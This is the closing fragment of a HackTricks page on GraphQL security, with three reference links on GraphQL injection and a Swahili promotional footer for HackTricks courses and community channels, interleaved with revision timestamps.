* [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md)
2022-04-05 22:24:52 +00:00
* [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
* [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2023-12-31 01:24:39 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>